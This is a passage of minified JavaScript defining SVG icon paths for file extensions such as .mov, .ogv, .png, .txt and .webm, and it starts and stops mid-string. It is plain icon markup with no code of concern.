35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 13.542969 46.875 C 14.085938 46.875 14.574219 46.40625 14.574219 45.84375 C 14.574219 45.261719 14.085938 44.792969 13.542969 44.792969 L 8.460938 44.792969 L 8.460938 34.78125 C 8.460938 34.21875 7.992188 33.75 7.410156 33.75 C 6.828125 33.75 6.378906 34.21875 6.378906 34.78125 L 6.378906 45.84375 C 6.378906 46.40625 6.828125 46.875 7.410156 46.875 Z M 21.742188 46.875 C 23.46875 46.875 25.117188 46.085938 26.222656 44.867188 C 27.386719 43.648438 28.117188 41.980469 28.117188 40.125 C 28.117188 38.269531 27.386719 36.617188 26.222656 35.382812 C 25.117188 34.144531 23.46875 33.375 21.742188 33.375 C 19.941406 33.375 18.292969 34.144531 17.148438 35.382812 C 15.984375 36.617188 15.292969 38.269531 15.292969 40.125 C 15.292969 41.980469 15.984375 43.648438 17.148438 44.867188 C 18.292969 46.085938 19.941406 46.875 21.742188 46.875 Z M 21.742188 44.738281 C 20.542969 44.738281 19.492188 44.230469 18.703125 43.386719 C 17.917969 42.582031 17.429688 41.398438 17.429688 40.125 C 17.429688 38.851562 17.917969 37.667969 18.703125 36.84375 C 19.492188 36 20.542969 35.511719 21.742188 35.511719 C 22.867188 35.511719 23.917969 36 24.703125 36.84375 C 25.472656 37.667969 25.980469 38.851562 25.980469 40.125 C 25.980469 41.398438 25.472656 42.582031 24.703125 43.386719 C 23.917969 44.230469 22.867188 44.738281 21.742188 44.738281 Z M 37.300781 46.875 C 38.894531 46.875 40.375 46.332031 41.558594 45.414062 C 41.746094 45.28125 41.855469 45.132812 41.914062 44.960938 L 41.914062 44.945312 L 41.949219 44.851562 C 41.96875 44.738281 42.007812 44.664062 42.007812 44.53125 L 42.007812 40.386719 C 42.007812 39.789062 41.519531 39.335938 40.917969 39.335938 L 37.1875 39.335938 C 36.605469 39.335938 36.121094 39.789062 36.121094 40.386719 C 36.121094 40.96875 36.605469 41.457031 37.1875 41.457031 L 39.871094 41.457031 L 39.871094 44.023438 C 39.121094 44.457031 38.238281 44.738281 37.300781 44.738281 C 35.949219 44.738281 34.769531 44.230469 33.925781 43.367188 C 33.042969 42.523438 32.519531 41.382812 32.519531 40.144531 C 32.519531 38.867188 33.042969 37.726562 33.925781 36.882812 C 34.769531 36.019531 35.949219 35.511719 37.300781 35.511719 C 38.425781 35.511719 39.457031 35.90625 40.261719 36.523438 C 40.730469 36.898438 41.425781 36.804688 41.78125 36.355469 C 42.136719 35.886719 42.0625 35.195312 41.574219 34.835938 C 40.414062 33.917969 38.894531 33.375 37.300781 33.375 C 33.496094 33.375 30.382812 36.375 30.382812 40.144531 C 30.382812 43.894531 33.496094 46.875 37.300781 46.875 Z M 37.300781 46.875 "/>\n </g>'},movIcon:{extension:".mov",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 15.472656 46.875 C 16.035156 46.875 16.523438 46.40625 16.523438 45.84375 L 16.523438 34.78125 C 16.523438 34.289062 16.152344 33.882812 15.679688 33.777344 L 15.472656 33.75 L 15.453125 33.75 C 15.117188 33.75 14.816406 33.898438 14.609375 34.179688 L 10.878906 39.355469 L 7.148438 34.179688 C 6.960938 33.898438 6.625 33.75 6.324219 33.75 L 6.265625 33.75 C 5.703125 33.75 5.234375 34.21875 5.234375 34.78125 L 5.234375 45.84375 C 5.234375 46.40625 5.703125 46.875 6.265625 46.875 C 6.847656 46.875 7.316406 46.40625 7.316406 45.84375 L 7.316406 37.949219 L 10 41.699219 C 10.203125 41.980469 10.523438 42.132812 10.859375 42.132812 L 10.898438 42.132812 C 11.234375 42.132812 11.535156 41.980469 11.742188 41.699219 L 14.441406 37.949219 L 14.441406 45.84375 C 14.441406 46.40625 14.890625 46.875 15.472656 46.875 Z M 25.460938 46.875 C 27.1875 46.875 28.835938 46.085938 29.941406 44.867188 C 31.105469 43.648438 31.835938 41.980469 31.835938 40.125 C 31.835938 38.269531 31.105469 36.617188 29.941406 35.382812 C 28.835938 34.144531 27.1875 33.375 25.460938 33.375 C 23.660156 33.375 22.011719 34.144531 20.867188 35.382812 C 19.703125 36.617188 19.011719 38.269531 19.011719 40.125 C 19.011719 41.980469 19.703125 43.648438 20.867188 44.867188 C 22.011719 46.085938 23.660156 46.875 25.460938 46.875 Z M 25.460938 44.738281 C 24.261719 44.738281 23.210938 44.230469 22.421875 43.386719 C 21.636719 42.582031 21.148438 41.398438 21.148438 40.125 C 21.148438 38.851562 21.636719 37.667969 22.421875 36.84375 C 23.210938 36 24.261719 35.511719 25.460938 35.511719 C 26.585938 35.511719 27.636719 36 28.421875 36.84375 C 29.191406 37.667969 29.699219 38.851562 29.699219 40.125 C 29.699219 41.398438 29.191406 42.582031 28.421875 43.386719 C 27.636719 44.230469 26.585938 44.738281 25.460938 44.738281 Z M 38.683594 46.855469 L 38.71875 46.855469 C 38.777344 46.835938 38.8125 46.820312 38.871094 46.820312 C 38.886719 46.800781 38.886719 46.800781 38.90625 46.800781 C 38.964844 46.78125 39.019531 46.726562 39.058594 46.707031 L 39.09375 46.6875 L 39.207031 46.59375 C 39.226562 46.574219 39.226562 46.574219 39.246094 46.539062 L 39.339844 46.425781 C 39.355469 46.425781 39.355469 46.425781 39.355469 46.40625 C 39.394531 46.367188 39.414062 46.292969 39.433594 46.257812 L 44.0625 35.304688 C 44.269531 34.800781 44.027344 34.179688 43.5 33.976562 C 42.996094 33.75 42.375 33.992188 42.152344 34.519531 L 38.496094 43.199219 L 34.839844 34.519531 C 34.613281 33.992188 34.011719 33.75 33.507812 33.976562 C 32.964844 34.179688 32.71875 34.800781 32.945312 35.304688 L 37.539062 46.257812 C 37.574219 46.292969 37.613281 46.367188 37.632812 46.40625 C 37.632812 46.425781 37.652344 46.425781 37.652344 46.425781 C 37.667969 46.460938 37.707031 46.5 37.746094 46.539062 C 37.746094 46.574219 37.761719 46.574219 37.761719 46.59375 C 37.820312 46.632812 37.855469 46.648438 37.894531 46.6875 L 37.914062 46.6875 C 37.96875 46.726562 38.042969 46.78125 38.082031 46.800781 L 38.101562 46.800781 C 38.101562 46.800781 38.121094 46.800781 38.121094 46.820312 C 38.15625 46.820312 38.230469 46.835938 38.269531 46.855469 L 38.308594 46.855469 L 38.402344 46.871094 L 38.496094 46.875 C 38.550781 46.875 38.605469 46.875 38.683594 46.855469 Z M 38.683594 46.855469 "/>\n </g>'},ogvIcon:{extension:".ogv",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 11.511719 46.875 C 13.238281 46.875 14.886719 46.085938 15.996094 44.867188 C 17.15625 43.648438 17.886719 41.980469 17.886719 40.125 C 17.886719 38.269531 17.15625 36.617188 15.996094 35.382812 C 14.886719 34.144531 13.238281 33.375 11.511719 33.375 C 9.714844 33.375 8.0625 34.144531 6.917969 35.382812 C 5.757812 36.617188 5.0625 38.269531 5.0625 40.125 C 5.0625 41.980469 5.757812 43.648438 6.917969 44.867188 C 8.0625 46.085938 9.714844 46.875 11.511719 46.875 Z M 11.511719 44.738281 C 10.3125 44.738281 9.261719 44.230469 8.476562 43.386719 C 7.6875 42.582031 7.199219 41.398438 7.199219 40.125 C 7.199219 38.851562 7.6875 37.667969 8.476562 36.84375 C 9.261719 36 10.3125 35.511719 11.511719 35.511719 C 12.636719 35.511719 13.6875 36 14.476562 36.84375 C 15.246094 37.667969 15.75 38.851562 15.75 40.125 C 15.75 41.398438 15.246094 42.582031 14.476562 43.386719 C 13.6875 44.230469 12.636719 44.738281 11.511719 44.738281 Z M 27.25 46.875 C 28.84375 46.875 30.324219 46.332031 31.507812 45.414062 C 31.695312 45.28125 31.804688 45.132812 31.863281 44.960938 L 31.863281 44.945312 C 31.882812 44.90625 31.882812 44.886719 31.898438 44.851562 C 31.917969 44.738281 31.957031 44.664062 31.957031 44.53125 L 31.957031 40.386719 C 31.957031 39.789062 31.46875 39.335938 30.867188 39.335938 L 27.136719 39.335938 C 26.554688 39.335938 26.070312 39.789062 26.070312 40.386719 C 26.070312 40.96875 26.554688 41.457031 27.136719 41.457031 L 29.820312 41.457031 L 29.820312 44.023438 C 29.070312 44.457031 28.1875 44.738281 27.25 44.738281 C 25.898438 44.738281 24.71875 44.230469 23.875 43.367188 C 22.992188 42.523438 22.46875 41.382812 22.46875 40.144531 C 22.46875 38.867188 22.992188 37.726562 23.875 36.882812 C 24.71875 36.019531 25.898438 35.511719 27.25 35.511719 C 28.375 35.511719 29.40625 35.90625 30.210938 36.523438 C 30.679688 36.898438 31.375 36.804688 31.730469 36.355469 C 32.085938 35.886719 32.011719 35.195312 31.523438 34.835938 C 30.363281 33.917969 28.84375 33.375 27.25 33.375 C 23.445312 33.375 20.332031 36.375 20.332031 40.144531 C 20.332031 43.894531 23.445312 46.875 27.25 46.875 Z M 40.191406 46.855469 L 40.230469 46.855469 C 40.285156 46.835938 40.324219 46.820312 40.378906 46.820312 C 40.398438 46.800781 40.398438 46.800781 40.417969 46.800781 C 40.472656 46.78125 40.53125 46.726562 40.566406 46.707031 C 40.605469 46.6875 40.605469 46.6875 40.605469 46.6875 L 40.71875 46.59375 C 40.738281 46.574219 40.738281 46.574219 40.753906 46.539062 L 40.847656 46.425781 C 40.867188 46.425781 40.867188 46.425781 40.867188 46.40625 C 40.90625 46.367188 40.925781 46.292969 40.941406 46.257812 L 45.574219 35.304688 C 45.78125 34.800781 45.535156 34.179688 45.011719 33.976562 C 44.503906 33.75 43.886719 33.992188 43.660156 34.519531 L 40.003906 43.199219 L 36.347656 34.519531 C 36.125 33.992188 35.523438 33.75 35.019531 33.976562 C 34.472656 34.179688 34.230469 34.800781 34.457031 35.304688 L 39.050781 46.257812 C 39.085938 46.292969 39.125 46.367188 39.144531 46.40625 C 39.144531 46.425781 39.160156 46.425781 39.160156 46.425781 C 39.179688 46.460938 39.21875 46.5 39.253906 46.539062 C 39.253906 46.574219 39.273438 46.574219 39.273438 46.59375 C 39.332031 46.632812 39.367188 46.648438 39.40625 46.6875 L 39.425781 46.6875 C 39.480469 46.726562 39.554688 46.78125 39.59375 46.800781 L 39.613281 46.800781 C 39.613281 46.800781 39.628906 46.800781 39.628906 46.820312 C 39.667969 46.820312 39.742188 46.835938 39.78125 46.855469 L 39.816406 46.855469 L 39.910156 46.871094 L 40.003906 46.875 C 40.0625 46.875 40.117188 46.875 40.191406 46.855469 Z M 40.191406 46.855469 "/>\n </g>'},pngIcon:{extension:".png",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 7.523438 46.875 C 8.105469 46.875 8.574219 46.40625 8.574219 45.84375 L 8.574219 41.773438 L 10.878906 41.773438 C 13.109375 41.773438 14.910156 39.976562 14.910156 37.78125 C 14.910156 35.550781 13.109375 33.75 10.878906 33.75 L 7.523438 33.75 C 6.960938 33.75 6.492188 34.199219 6.492188 34.78125 L 6.492188 45.84375 C 6.492188 46.40625 6.960938 46.875 7.523438 46.875 Z M 10.878906 39.695312 L 8.574219 39.695312 L 8.574219 35.832031 L 10.878906 35.832031 C 11.964844 35.832031 12.808594 36.695312 12.828125 37.78125 C 12.808594 38.832031 11.964844 39.695312 10.878906 39.695312 Z M 26.75 46.875 C 27.3125 46.875 27.78125 46.40625 27.78125 45.84375 L 27.78125 34.949219 C 27.78125 34.40625 27.3125 33.9375 26.75 33.9375 C 26.1875 33.9375 25.738281 34.40625 25.738281 34.949219 L 25.738281 42.675781 L 19.679688 34.292969 C 19.363281 33.84375 18.722656 33.75 18.253906 34.070312 C 17.972656 34.273438 17.824219 34.613281 17.84375 34.929688 L 17.84375 45.84375 C 17.84375 46.40625 18.292969 46.875 18.875 46.875 C 19.417969 46.875 19.886719 46.40625 19.886719 45.84375 L 19.886719 38.0625 L 25.886719 46.386719 C 25.90625 46.425781 25.941406 46.460938 25.980469 46.5 C 26.167969 46.726562 26.449219 46.875 26.75 46.875 Z M 38.082031 46.875 C 39.675781 46.875 41.15625 46.332031 42.339844 45.414062 C 42.527344 45.28125 42.636719 45.132812 42.695312 44.960938 L 42.695312 44.945312 C 42.714844 44.90625 42.714844 44.886719 42.730469 44.851562 C 42.75 44.738281 42.789062 44.664062 42.789062 44.53125 L 42.789062 40.386719 C 42.789062 39.789062 42.300781 39.335938 41.699219 39.335938 L 37.96875 39.335938 C 37.386719 39.335938 36.902344 39.789062 36.902344 40.386719 C 36.902344 40.96875 37.386719 41.457031 37.96875 41.457031 L 40.652344 41.457031 L 40.652344 44.023438 C 39.902344 44.457031 39.019531 44.738281 38.082031 44.738281 C 36.730469 44.738281 35.550781 44.230469 34.707031 43.367188 C 33.824219 42.523438 33.300781 41.382812 33.300781 40.144531 C 33.300781 38.867188 33.824219 37.726562 34.707031 36.882812 C 35.550781 36.019531 36.730469 35.511719 38.082031 35.511719 C 39.207031 35.511719 40.238281 35.90625 41.042969 36.523438 C 41.511719 36.898438 42.207031 36.804688 42.5625 36.355469 C 42.917969 35.886719 42.84375 35.195312 42.355469 34.835938 C 41.195312 33.917969 39.675781 33.375 38.082031 33.375 C 34.277344 33.375 31.164062 36.375 31.164062 40.144531 C 31.164062 43.894531 34.277344 46.875 38.082031 46.875 Z M 38.082031 46.875 "/>\n </g>'},txtIcon:{extension:".txt",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 12.847656 46.875 C 13.429688 46.875 13.878906 46.425781 13.878906 45.84375 L 13.878906 35.832031 L 16.859375 35.832031 C 17.421875 35.832031 17.890625 35.34375 17.890625 34.78125 C 17.890625 34.199219 17.421875 33.75 16.859375 33.75 L 8.855469 33.75 C 8.273438 33.75 7.824219 34.199219 7.824219 34.78125 C 7.824219 35.34375 8.273438 35.832031 8.855469 35.832031 L 11.816406 35.832031 L 11.816406 45.84375 C 11.816406 46.425781 12.285156 46.875 12.847656 46.875 Z M 29.019531 46.875 C 29.222656 46.875 29.429688 46.800781 29.617188 46.667969 C 30.085938 46.351562 30.160156 45.695312 29.84375 45.242188 L 26.28125 40.367188 L 29.84375 35.53125 C 30.160156 35.0625 30.085938 34.425781 29.617188 34.105469 C 29.148438 33.75 28.53125 33.84375 28.175781 34.332031 L 25.023438 38.644531 L 21.855469 34.332031 C 21.535156 33.84375 20.878906 33.75 20.429688 34.105469 C 19.960938 34.425781 19.867188 35.0625 20.1875 35.53125 L 23.75 40.367188 L 20.1875 45.242188 C 19.867188 45.695312 19.960938 46.351562 20.429688 46.667969 C 20.597656 46.800781 20.804688 46.875 21.03125 46.875 C 21.347656 46.875 21.648438 46.707031 21.855469 46.445312 L 25.023438 42.113281 L 28.175781 46.445312 C 28.378906 46.707031 28.679688 46.875 29.019531 46.875 Z M 37.464844 46.875 C 38.042969 46.875 38.496094 46.425781 38.496094 45.84375 L 38.496094 35.832031 L 41.476562 35.832031 C 42.039062 35.832031 42.507812 35.34375 42.507812 34.78125 C 42.507812 34.199219 42.039062 33.75 41.476562 33.75 L 33.46875 33.75 C 32.886719 33.75 32.4375 34.199219 32.4375 34.78125 C 32.4375 35.34375 32.886719 35.832031 33.46875 35.832031 L 36.433594 35.832031 L 36.433594 45.84375 C 36.433594 46.425781 36.902344 46.875 37.464844 46.875 Z M 37.464844 46.875 "/>\n </g>'},webmIcon:{extension:".webm",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 7.195312 43.734375 L 7.242188 43.734375 C 7.273438 43.71875 7.304688 43.703125 7.367188 43.703125 C 7.367188 43.6875 7.382812 43.6875 7.382812 43.6875 L 7.398438 43.6875 C 7.429688 43.671875 7.476562 43.625 7.523438 43.59375 L 7.554688 43.59375 C 7.585938 43.5625 7.617188 43.53125 7.648438 43.515625 C 7.648438 43.5 7.664062 43.5 7.664062 43.46875 L 7.757812 43.375 C 7.757812 43.375 7.757812 43.359375 7.773438 43.359375 C 7.789062 43.328125 7.820312 43.265625 7.835938 43.21875 L 9.882812 38.375 L 11.929688 43.21875 C 11.945312 43.265625 11.960938 43.328125 11.992188 43.359375 C 11.992188 43.359375 11.992188 43.375 12.023438 43.375 L 12.085938 43.46875 C 12.101562 43.5 12.101562 43.5 12.117188 43.515625 C 12.148438 43.53125 12.179688 43.5625 12.226562 43.59375 L 12.242188 43.59375 C 12.273438 43.625 12.320312 43.671875 12.382812 43.6875 C 12.398438 43.6875 12.398438 43.6875 12.414062 43.703125 C 12.445312 43.703125 12.476562 43.71875 12.523438 43.734375 L 12.570312 43.734375 L 12.640625 43.746094 L 12.710938 43.75 C 12.773438 43.75 12.820312 43.75 12.867188 43.734375 L 12.898438 43.734375 C 12.945312 43.71875 12.992188 43.703125 13.023438 43.703125 C 13.023438 43.6875 13.039062 43.6875 13.039062 43.6875 L 13.054688 43.6875 C 13.117188 43.671875 13.148438 43.625 13.195312 43.59375 L 13.210938 43.59375 C 13.242188 43.5625 13.289062 43.53125 13.320312 43.515625 C 13.320312 43.5 13.335938 43.5 13.335938 43.46875 C 13.367188 43.4375 13.398438 43.40625 13.414062 43.375 C 13.414062 43.375 13.429688 43.359375 13.429688 43.359375 C 13.460938 43.328125 13.492188 43.265625 13.507812 43.21875 L 17.335938 34.109375 C 17.523438 33.6875 17.320312 33.171875 16.898438 33 C 16.445312 32.8125 15.945312 33.015625 15.757812 33.453125 L 12.710938 40.6875 L 10.695312 35.890625 C 10.539062 35.546875 10.210938 35.359375 9.882812 35.359375 C 9.539062 35.359375 9.210938 35.546875 9.070312 35.890625 L 7.054688 40.6875 L 3.992188 33.453125 C 3.820312 33.015625 3.304688 32.8125 2.882812 33 C 2.429688 33.171875 2.242188 33.6875 2.414062 34.109375 L 6.257812 43.21875 C 6.289062 43.265625 6.304688 43.328125 6.335938 43.359375 L 6.335938 43.375 C 6.367188 43.40625 6.382812 43.4375 6.414062 43.46875 C 6.429688 43.5 6.429688 43.5 6.445312 43.515625 C 6.492188 43.53125 6.507812 43.5625 6.554688 43.59375 L 6.570312 43.59375 C 6.601562 43.625 6.664062 43.671875 6.710938 43.6875 C 6.726562 43.6875 6.726562 43.6875 6.742188 43.703125 C 6.773438 43.703125 6.804688 43.71875 6.851562 43.734375 L 6.898438 43.734375 L 6.976562 43.746094 L 7.054688 43.75 C 7.101562 